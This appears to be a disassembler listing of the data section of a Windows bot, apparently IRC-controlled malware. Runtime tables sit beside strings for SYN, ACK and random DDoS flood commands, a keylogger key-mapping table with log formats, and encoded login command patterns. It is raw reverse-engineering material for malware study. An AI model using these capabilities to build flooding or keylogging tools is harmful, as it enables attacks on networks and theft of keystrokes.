0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_433C6Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_433C68o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_435EBCo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_4362FCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_436A1Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 436A1Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_436A34 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_436A34 dd offset dword_424DB0+4 off_424DD8 dd offset off_436A54 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_436A54 dd offset dword_424DFC+4 off_424E24 dd offset off_436A74 ; DATA XREF: ___:00424E3Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E24 dd offset off_424D90 dd offset dword_424D60+18h dword_424E48 dd 3 dup(0) ; DATA XREF: ___:00424E6Co dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo dd offset off_436A74 dd offset dword_424E48+4 off_424E70 dd offset off_436A98 ; DATA XREF: ___:00424E88o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E70 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_436A98 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_436A1C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_436A1C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_436A34 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_436A54 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o dd offset off_436A74 align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(6929C418h), 5 dup(277655D4h), 5 dup(6E1F9CCh) dd 7Ah dup(0) db 0CCh db 0F9h, 0E1h, 6 dd 0 dd 6929C418h, 12h dup(0) dd 277655D4h, 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 